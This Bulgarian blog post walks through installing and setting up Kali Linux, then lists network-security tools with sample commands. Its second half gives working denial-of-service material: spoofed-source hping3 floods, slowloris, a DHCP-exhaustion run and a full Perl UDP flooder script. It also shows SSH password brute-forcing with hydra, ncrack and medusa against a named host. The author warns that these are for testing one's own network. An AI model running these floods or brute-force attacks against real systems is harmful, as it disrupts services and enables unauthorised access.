0887 371 498 support@itservice-bg.net
05.11.2017 · Самуил Арсов · Bash script, Debian, Kali Linux, Linux commands

Kali Linux — инсталация, настройка и инструменти за мрежова сигурност

Kali Linux е дистрибуция базирана на Debian Linux, с набор от инструменти за тестване на информационната сигурност (Penetration test). Kali Linux се разпространява в режим на непрекъснато обновяване (rolling distribution). В дистрибуцията е въведена система за проверка на версиите на включения софтуер. Поддържа x32, x64 и ARM архитектури.

Kali Linux Flash Drive

След като зареди от CD или от Flash drive ще се появи Boot menu на Kali Linux което ще ни предложи различни опции. Тези на които трябва да се обърне внимание са стартиране на жив образ Live (amd64) или Install — инсталиране на системата на диск. Тъй като Kali Linux е базирана на Debian, инсталаторът на операционната система е напълно идентичен с инсталатора на Debian.

Kali Linux Boot Menu

Обновяване на системата след инсталация

sudo apt update && sudo apt upgrade

Проверка за ново издание.

sudo apt dist-upgrade

Изчистване на системата.

sudo apt autoremove && sudo apt autoclean

Инсталиране на основен софтуер

sudo apt install ttf-mscorefonts-installer gimp thunderbird rar htop filezilla vlc mtr-tiny transmission fastfetch bmon sshpass libreoffice
Kali Linux Screenshot

Безжичен адаптер Broadcom

Проверка с командата lspci дали безжичната карта е Broadcom.

Kali Broadcom

Ако лаптопът е с безжична карта Broadcom, след инсталация само Ethernet картата ще работи. С LAN кабел се свързвате към рутер и зареждате модула:

sudo apt update
sudo apt install linux-image-$(uname -r|sed 's,[^-]*-[^-]*-,,') linux-headers-$(uname -r|sed 's,[^-]*-[^-]*-,,') broadcom-sta-dkms
sudo modprobe -r b44 b43 b43legacy ssb brcmsmac bcma
sudo modprobe wl

Управление на батерията за лаптоп

Демонът tlp оптимизира управлението на батерията и удължава живота й. Задължителен при стандартен лаптоп — без него охлаждащият модул работи на максимални обороти ненужно.

sudo apt install tlp
sudo tlp start

Инсталация на Teamviewer

wget https://download.teamviewer.com/download/linux/teamviewer_amd64.deb
sudo dpkg -i teamviewer_amd64.deb
sudo apt install -f

Инсталация на Winbox

Тъй като Winbox е 32-битов, трябва да добавим 32-битова архитектура и да инсталираме Wine. Проверете актуалната версия на mikrotik.com/download.

wget -c https://download2.mikrotik.com/routeros/winbox/3.30/winbox.exe
sudo dpkg --add-architecture i386 && sudo apt update && sudo apt install wine32
wine winbox.exe

Инсталация на Skype

wget -c https://go.skype.com/skypeforlinux-64.deb
sudo dpkg -i skypeforlinux-64.deb
sudo apt install -f

Инсталация на Dropbox

sudo apt install nautilus-dropbox

Активиране на двоен клик и десния бутон на тъчпада

Активиране на copy/paste в редактора vim

sudo vim /usr/share/vim/vim81/defaults.vim

Намираме реда set mouse=a и го променяме на set mouse-=a. В по-нови версии (след 2018.4) параметърът трябва да е set mouse=r.

vim mouse

Kali Linux има богата база от инструменти за откриване и решаване на проблеми свързани с мрежи, сървъри, дупки в сигурността и т.н. Ще споделя инструментите, които ползвам често. Примерите нямат претенции за пълна картина на възможностите — умишлено няма примери с exploits, aircrack и SQL injection. По-скоро е подсещаща статия с набор от инструменти. Важно: не пробвайте примерите върху мрежи и хостове, за които нямате изрично разрешение!

nmap — network scanner

Nmap изпраща специално изработени пакети до хоста и анализира отговорите. Освен дали хостът е активен и кои портове са отворени, той може да определи операционната система, версиите на услугите, типа устройство и наличието на защитна стена.

nmap 93.155.130.11
nmap

analyze_hosts — powerful scanner

analyze_hosts е мощен скрипт събиращ информация за определен хост — включва набор от инструменти и извежда резултата в четим вид.

git clone https://github.com/PeterMosmans/security-scripts.git
sudo apt install python3-nmap
cd security-scripts/
pip install -r requirements.txt
./analyze_hosts.sh -a telehost.bg
analyze_hosts

mtr — traceroute

mtr показва хоповете от вашия маршрутизатор до избрана дестинация в реално време — като traceroute в Windows (tracert), но с таблица на скоростта на отговорите и загубите на всеки хоп.

mtr kali.org
mtr

arp-scan — ARP scanner

arp-scan е удобен инструмент за анализ в Layer 2 мрежа. Открива всички мрежови устройства, дори скрити зад firewall, защото работи на по-нисък мрежов слой.

sudo arp-scan -l
arp-scan

wpscan — WordPress security scanner

WPScan тества сигурността на WordPress сайтове — извежда версията на WordPress, плъгините, темите и евентуални уязвимости.

sudo wpscan --url itservice-bg.net
wpscan

braa — SNMP scanner

braa е много бърз SNMP скенер за хостове с активирана SNMP услуга.

braa public@192.168.60.1:.1.3.6.*
braa

cisco-torch — Cisco scanning

Добрата практика в Cisco е management VLAN за достъп до управлението. Ако знаете адреса, cisco-torch събира информация за устройството.

cisco-torch -A 172.16.99.2
cisco-torch

dmitry — IP/Host information tool

DMitry (Deepmagic Information Gathering Tool) събира информация за поддомейни, имейл адреси, uptime, TCP портове, whois и свързани обекти с хоста.

dmitry itservice-bg.net
dmitry

dnsrecon — check all NS records

DNSRecon показва DNS конфигурацията в един домейн. DNS е една от най-важните услуги в Интернет и същевременно най-занемарената.

dnsrecon -d itservice-bg.net
dnsrecon

fierce — corporate map

fierce допълва информацията как работи DNS в един домейн.

fierce --domain itservice-bg.net
fierce

hping3 — flood from random source IP

hping3 е генератор на пакети и анализатор на TCP/IP протокола. Мощен тестер за мрежова сигурност и симулация на DoS атаки върху собствена инфраструктура.

sudo hping3 -S -P -U --flood -V --rand-source 192.168.60.1
sudo hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source 192.168.60.1
sudo timeout 10s hping3 -d 64 -2 -p 53 --flood --rand-source 192.168.60.1

-c 10000 = брой пакети | -d 120 = размер на пакета | -S = SYN flag | -w 64 = TCP window size | -p 21 = destination port | –flood = максимална скорост | –rand-source = случайни source IP | timeout 10s = времетраене

hping3 flood
hping3 fping
MikroTik random source

masscan — network TCP port scanner

Най-бързият скенер на мрежови хостове в света. Може да сканира огромни префикси само за няколко минути, генерирайки милиони пакети в секунда асинхронно.

sudo masscan -p22,80,445 192.168.60.0/24
masscan

sslscan — analyze SSL/TLS

За да разгледате SSL сертификата на даден сайт с браузър трябват 15 клика — в терминала е един ред.

sslscan itservice-bg.net
sslscan

pig — DHCP flood attack

pig запълва пула от IP адреси на DHCP сървъра с фалшиви заявки. След като пулът се запълни, нови клиенти не получават адрес и нямат Интернет. Използва се само за тест на собствена мрежа.

sudo pig eth0
pig DHCP
pig MikroTik

slowloris — DoS за уеб сървър

slowloris запушва сокетите на уеб сървъра с неактивни връзки. Най-уязвим е Apache, въпреки че по-новите версии имат IP лимит.

sudo apt install libwww-mechanize-shell-perl
git clone https://github.com/llaera/slowloris.pl
perl slowloris.pl/slowloris.pl -dns itservice-bg.net
slowloris
Firefox slowloris

flood.pl — UDP flooder

UDP флудер — атакуващ с по-голям капацитет може да запуши канала на цел с по-малък. Една от най-лесно откривaемите атаки. Не правете това извън собствена мрежа.

nano flood.pl
#!/usr/bin/perl

# ./flood.pl 192.168.60.1 0 0 0

use Socket;
use strict;

if ($#ARGV != 3) {
    print " ./flood.pl <ip> <port> <size> <time>\n";
    print " port=0: use random ports\n";
    print " size=0: use random size between 64 and 1024\n";
    print " time=0: continuous flood\n";
    exit(1);
}
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print "Flooding $ip " . ($port ? $port : "random") . " port with " .
    ($size ? "$size-byte" : "random size") . " packets" .
    ($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;
for (;time() <= $endtime;) {
    $psize = $size ? $size : int(rand(1024-64)+64);
    $pport = $port ? $port : int(rand(65500))+1;
    send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
}

Запазване: Ctrl+OEnter | Изход: Ctrl+X

chmod 755 flood.pl
perl flood.pl 192.168.60.1 0 0 0
flood.pl

С bmon се вижда как се запушва 100Mbps LAN картата:

bmon
bmon
fping flood

hydra, ncrack, medusa — passwords wordlist attack

Wordlist атаки срещу SSH. Достатъчно е да оголите порт 22 и ботове ще го открият за минути. Примерите са за тестване на собствен сървър.

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt backup.itservice-bg.net ssh
hydra attack
hydra htop

Лог файл на атакуваната машина:

sudo tail -f /var/log/auth.log
hydra failed password

Същото с ncrack и medusa:

ncrack --user root -P /usr/share/wordlists/metasploit/unix_passwords.txt backup.itservice-bg.net:22
medusa -u root -P /usr/share/wordlists/metasploit/unix_passwords.txt -h backup.itservice-bg.net -M ssh
medusa

uniscan — Web scanner

uniscan е терминален уеб скенер, имитиращ известни атаки и генериращ репорт за уеб сървъра.

sudo uniscan -u http://93.155.130.11 -qd
uniscan